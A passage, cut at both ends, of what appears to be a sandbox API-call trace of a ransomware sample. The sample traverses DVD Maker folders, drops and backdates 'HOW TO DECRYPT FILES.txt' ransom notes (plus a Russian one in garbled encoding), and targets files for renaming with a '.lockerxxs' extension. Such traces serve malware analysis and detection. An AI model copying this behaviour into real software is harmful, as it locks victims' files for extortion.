lpMsg=0x18fa24) returned 0 [0059.859] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="WMM2CLIP.dll.mui") returned -1 [0059.859] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="WMM2CLIP.dll.mui") returned -1 [0059.859] lstrcmpiA (lpString1="", lpString2="WMM2CLIP.dll.mui") returned -1 [0059.859] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\en-US\\OmdProject.dll.mui") returned="OmdProject.dll.mui" [0059.859] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\DVD Maker\\en-US\\" | out: lpString1="C:\\Program Files\\DVD Maker\\en-US\\") returned="C:\\Program Files\\DVD Maker\\en-US\\" [0059.859] PathAddBackslashA (in: pszPath="C:\\Program Files\\DVD Maker\\en-US\\" | out: pszPath="C:\\Program Files\\DVD Maker\\en-US\\") returned="" [0059.860] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\DVD Maker\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\DVD Maker\\en-US\\HOW TO DECRYPT FILES.txt" [0059.860] GetFileAttributesA (lpFileName="C:\\Program Files\\DVD Maker\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\dvd maker\\en-us\\how to decrypt files.txt")) returned 0x20 [0059.860] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\en-US\\", lpString2="WMM2CLIP.dll.mui" | out: lpString1="C:\\Program Files\\DVD Maker\\en-US\\WMM2CLIP.dll.mui") returned="C:\\Program Files\\DVD Maker\\en-US\\WMM2CLIP.dll.mui" [0059.860] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0059.860] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Eurosti.TTF") returned -1 [0059.860] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Eurosti.TTF") returned 1 [0059.860] lstrcmpiA (lpString1="", lpString2="Eurosti.TTF") returned -1 [0059.860] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\*.*") returned="*.*" [0059.860] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\DVD Maker\\" | out: lpString1="C:\\Program Files\\DVD Maker\\") returned="C:\\Program Files\\DVD Maker\\" [0059.860] PathAddBackslashA (in: pszPath="C:\\Program Files\\DVD Maker\\" | out: pszPath="C:\\Program Files\\DVD Maker\\") returned="" [0059.860] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\DVD Maker\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\DVD Maker\\HOW TO DECRYPT FILES.txt" [0059.860] GetFileAttributesA (lpFileName="C:\\Program Files\\DVD Maker\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\dvd maker\\how to decrypt files.txt")) returned 0x20 [0059.860] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\", lpString2="Eurosti.TTF" | out: lpString1="C:\\Program Files\\DVD Maker\\Eurosti.TTF") returned="C:\\Program Files\\DVD Maker\\Eurosti.TTF" [0059.860] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0059.860] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="fieldswitch.ax") returned -1 [0059.860] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="fieldswitch.ax") returned 1 [0059.860] lstrcmpiA (lpString1="", lpString2="fieldswitch.ax") returned -1 [0059.860] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\Eurosti.TTF") returned="Eurosti.TTF" [0059.860] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\DVD Maker\\" | out: lpString1="C:\\Program Files\\DVD Maker\\") returned="C:\\Program Files\\DVD Maker\\" [0059.860] PathAddBackslashA (in: pszPath="C:\\Program Files\\DVD Maker\\" | out: pszPath="C:\\Program Files\\DVD Maker\\") returned="" [0059.861] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\DVD Maker\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\DVD Maker\\HOW TO DECRYPT FILES.txt" [0059.861] GetFileAttributesA (lpFileName="C:\\Program Files\\DVD Maker\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\dvd maker\\how to decrypt files.txt")) returned 0x20 [0059.861] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\", lpString2="fieldswitch.ax" | out: lpString1="C:\\Program Files\\DVD Maker\\fieldswitch.ax") returned="C:\\Program Files\\DVD Maker\\fieldswitch.ax" [0059.861] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0059.861] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="offset.ax") returned -1 [0059.861] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="offset.ax") returned -1 [0059.861] lstrcmpiA (lpString1="", lpString2="offset.ax") returned -1 [0059.861] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\fieldswitch.ax") returned="fieldswitch.ax" [0059.861] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\DVD Maker\\" | out: lpString1="C:\\Program Files\\DVD Maker\\") returned="C:\\Program Files\\DVD Maker\\" [0059.861] PathAddBackslashA (in: pszPath="C:\\Program Files\\DVD Maker\\" | out: pszPath="C:\\Program Files\\DVD Maker\\") returned="" [0059.861] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\DVD Maker\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\DVD Maker\\HOW TO DECRYPT FILES.txt" [0059.861] GetFileAttributesA (lpFileName="C:\\Program Files\\DVD Maker\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\dvd maker\\how to decrypt files.txt")) returned 0x20 [0059.861] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\", lpString2="offset.ax" | out: lpString1="C:\\Program Files\\DVD Maker\\offset.ax") returned="C:\\Program Files\\DVD Maker\\offset.ax" [0059.861] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0059.862] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\offset.ax") returned="offset.ax" [0059.862] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\DVD Maker\\" | out: lpString1="C:\\Program Files\\DVD Maker\\") returned="C:\\Program Files\\DVD Maker\\" [0059.862] PathAddBackslashA (in: pszPath="C:\\Program Files\\DVD Maker\\" | out: pszPath="C:\\Program Files\\DVD Maker\\") returned="" [0059.862] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\DVD Maker\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\DVD Maker\\HOW TO DECRYPT FILES.txt" [0059.862] GetFileAttributesA (lpFileName="C:\\Program Files\\DVD Maker\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\dvd maker\\how to decrypt files.txt")) returned 0x20 [0059.862] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\", lpString2="OmdBase.dll" | out: lpString1="C:\\Program Files\\DVD Maker\\OmdBase.dll") returned="C:\\Program Files\\DVD Maker\\OmdBase.dll" [0059.862] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0059.862] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\OmdBase.dll") returned="OmdBase.dll" [0059.862] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\DVD Maker\\" | out: lpString1="C:\\Program Files\\DVD Maker\\") returned="C:\\Program Files\\DVD Maker\\" [0059.862] PathAddBackslashA (in: pszPath="C:\\Program Files\\DVD Maker\\" | out: pszPath="C:\\Program Files\\DVD Maker\\") returned="" [0059.862] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\DVD Maker\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\DVD Maker\\HOW TO DECRYPT FILES.txt" [0059.862] GetFileAttributesA (lpFileName="C:\\Program Files\\DVD Maker\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\dvd maker\\how to decrypt files.txt")) returned 0x20 [0059.862] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\", lpString2="OmdProject.dll" | out: lpString1="C:\\Program Files\\DVD Maker\\OmdProject.dll") returned="C:\\Program Files\\DVD Maker\\OmdProject.dll" [0059.862] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0059.862] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\OmdProject.dll") returned="OmdProject.dll" [0059.862] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\DVD Maker\\" | out: lpString1="C:\\Program Files\\DVD Maker\\") returned="C:\\Program Files\\DVD Maker\\" [0059.862] PathAddBackslashA (in: pszPath="C:\\Program Files\\DVD Maker\\" | out: pszPath="C:\\Program Files\\DVD Maker\\") returned="" [0059.862] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\DVD Maker\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\DVD Maker\\HOW TO DECRYPT FILES.txt" [0059.862] GetFileAttributesA (lpFileName="C:\\Program Files\\DVD Maker\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\dvd maker\\how to decrypt files.txt")) returned 0x20 [0059.862] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\", lpString2="Pipeline.dll" | out: lpString1="C:\\Program Files\\DVD Maker\\Pipeline.dll") returned="C:\\Program Files\\DVD Maker\\Pipeline.dll" [0059.863] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0059.863] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\Pipeline.dll") returned="Pipeline.dll" [0059.863] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\DVD Maker\\" | out: lpString1="C:\\Program Files\\DVD Maker\\") returned="C:\\Program Files\\DVD Maker\\" [0059.863] PathAddBackslashA (in: pszPath="C:\\Program Files\\DVD Maker\\" | out: pszPath="C:\\Program Files\\DVD Maker\\") returned="" [0059.863] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\DVD Maker\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\DVD Maker\\HOW TO DECRYPT FILES.txt" [0059.863] GetFileAttributesA (lpFileName="C:\\Program Files\\DVD Maker\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\dvd maker\\how to decrypt files.txt")) returned 0x20 [0059.863] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\", lpString2="PipeTran.dll" | out: lpString1="C:\\Program Files\\DVD Maker\\PipeTran.dll") returned="C:\\Program Files\\DVD Maker\\PipeTran.dll" [0059.863] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0059.863] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\PipeTran.dll") returned="PipeTran.dll" [0059.863] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\DVD Maker\\" | out: lpString1="C:\\Program Files\\DVD Maker\\") returned="C:\\Program Files\\DVD Maker\\" [0059.863] PathAddBackslashA (in: pszPath="C:\\Program Files\\DVD Maker\\" | out: pszPath="C:\\Program Files\\DVD Maker\\") returned="" [0059.863] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\DVD Maker\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\DVD Maker\\HOW TO DECRYPT FILES.txt" [0059.863] GetFileAttributesA (lpFileName="C:\\Program Files\\DVD Maker\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\dvd maker\\how to decrypt files.txt")) returned 0x20 [0059.863] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\", lpString2="rtstreamsink.ax" | out: lpString1="C:\\Program Files\\DVD Maker\\rtstreamsink.ax") returned="C:\\Program Files\\DVD Maker\\rtstreamsink.ax" [0059.863] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0059.863] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\rtstreamsink.ax") returned="rtstreamsink.ax" [0059.863] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\DVD Maker\\" | out: lpString1="C:\\Program Files\\DVD Maker\\") returned="C:\\Program Files\\DVD Maker\\" [0059.863] PathAddBackslashA (in: pszPath="C:\\Program Files\\DVD Maker\\" | out: pszPath="C:\\Program Files\\DVD Maker\\") returned="" [0059.863] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\DVD Maker\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\DVD Maker\\HOW TO DECRYPT FILES.txt" [0059.863] GetFileAttributesA (lpFileName="C:\\Program Files\\DVD Maker\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\dvd maker\\how to decrypt files.txt")) returned 0x20 [0059.864] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\", lpString2="rtstreamsource.ax" | out: lpString1="C:\\Program Files\\DVD Maker\\rtstreamsource.ax") returned="C:\\Program Files\\DVD Maker\\rtstreamsource.ax" [0059.864] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0059.864] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\rtstreamsource.ax") returned="rtstreamsource.ax" [0059.864] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\DVD Maker\\" | out: lpString1="C:\\Program Files\\DVD Maker\\") returned="C:\\Program Files\\DVD Maker\\" [0059.864] PathAddBackslashA (in: pszPath="C:\\Program Files\\DVD Maker\\" | out: pszPath="C:\\Program Files\\DVD Maker\\") returned="" [0059.864] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\DVD Maker\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\DVD Maker\\HOW TO DECRYPT FILES.txt" [0059.864] GetFileAttributesA (lpFileName="C:\\Program Files\\DVD Maker\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\dvd maker\\how to decrypt files.txt")) returned 0x20 [0059.864] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\", lpString2="SecretST.TTF" | out: lpString1="C:\\Program Files\\DVD Maker\\SecretST.TTF") returned="C:\\Program Files\\DVD Maker\\SecretST.TTF" [0059.864] lstrcmpA (lpString1=".", lpString2="Shared") returned -1 [0059.864] lstrcmpA (lpString1="..", lpString2="Shared") returned -1 [0059.864] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\SecretST.TTF") returned="SecretST.TTF" [0059.864] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\", lpString2="Shared" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared") returned="C:\\Program Files\\DVD Maker\\Shared" [0059.864] FindFirstFileA (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f0852f1, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f0852f1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x4f8176, cFileName=".", cAlternateFileName="")) returned 0x4f7080 [0059.867] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.867] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.867] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.867] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0059.867] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\Shared\\*.*") returned="*.*" [0059.867] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\DVD Maker\\Shared\\" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\") returned="C:\\Program Files\\DVD Maker\\Shared\\" [0059.867] PathAddBackslashA (in: pszPath="C:\\Program Files\\DVD Maker\\Shared\\" | out: pszPath="C:\\Program Files\\DVD Maker\\Shared\\") returned="" [0059.867] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\Shared\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\DVD Maker\\Shared\\HOW TO DECRYPT FILES.txt" [0059.867] GetFileAttributesA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\dvd maker\\shared\\how to decrypt files.txt")) returned 0xffffffff [0059.867] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\dvd maker\\shared\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x88 [0059.869] SetFileTime (hFile=0x88, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0059.869] CloseHandle (hObject=0x88) returned 1 [0059.869] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\Shared\\", lpString2="Common.fxh" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\Common.fxh") returned="C:\\Program Files\\DVD Maker\\Shared\\Common.fxh" [0059.870] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0059.870] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\Shared\\Common.fxh") returned="Common.fxh" [0059.870] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\DVD Maker\\Shared\\" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\") returned="C:\\Program Files\\DVD Maker\\Shared\\" [0059.870] PathAddBackslashA (in: pszPath="C:\\Program Files\\DVD Maker\\Shared\\" | out: pszPath="C:\\Program Files\\DVD Maker\\Shared\\") returned="" [0059.870] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\Shared\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\DVD Maker\\Shared\\HOW TO DECRYPT FILES.txt" [0059.870] GetFileAttributesA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\dvd maker\\shared\\how to decrypt files.txt")) returned 0x20 [0059.870] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\Shared\\", lpString2="DissolveAnother.png" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png" [0059.870] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png" [0059.870] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png" [0059.870] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png", lpString2="." | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png.") returned="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png." [0059.870] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png.lockerxxs") returned="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png.lockerxxs" [0059.871] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolveanother.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.872] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0059.872] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned="DissolveAnother.png" [0059.872] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\DVD Maker\\Shared\\" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\") returned="C:\\Program Files\\DVD Maker\\Shared\\" [0059.872] PathAddBackslashA (in: pszPath="C:\\Program Files\\DVD Maker\\Shared\\" | out: pszPath="C:\\Program Files\\DVD Maker\\Shared\\") returned="" [0059.872] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\Shared\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\DVD Maker\\Shared\\HOW TO DECRYPT FILES.txt" [0059.872] GetFileAttributesA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\dvd maker\\shared\\how to decrypt files.txt")) returned 0x20 [0059.872] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\Shared\\", lpString2="DissolveNoise.png" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png" [0059.872] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png" [0059.872] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png" [0059.872] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png", lpString2="." | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png.") returned="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png." [0059.872] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png.lockerxxs") returned="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png.lockerxxs" [0059.872] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.872] lstrcmpA (lpString1=".", lpString2="DvdStyles") returned -1 [0059.872] lstrcmpA (lpString1="..", lpString2="DvdStyles") returned -1 [0059.872] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned="DissolveNoise.png" [0059.872] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\Shared\\", lpString2="DvdStyles" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles" [0059.872] FindFirstFileA (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f760, dwReserved1=0x4f1284, cFileName=".", cAlternateFileName="")) returned 0x4f8178 [0059.874] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.875] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.875] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.875] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.875] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*") returned="*.*" [0059.875] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\" [0059.875] PathAddBackslashA (in: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\" | out: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\") returned="" [0059.875] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HOW TO DECRYPT FILES.txt" [0059.875] GetFileAttributesA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\how to decrypt files.txt")) returned 0xffffffff [0059.875] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0059.877] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0059.877] CloseHandle (hObject=0x8c) returned 1 [0059.877] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\", lpString2="16to9Squareframe_Buttongraphic.png" | out: lpString1="C:\\Program Files\\DVD 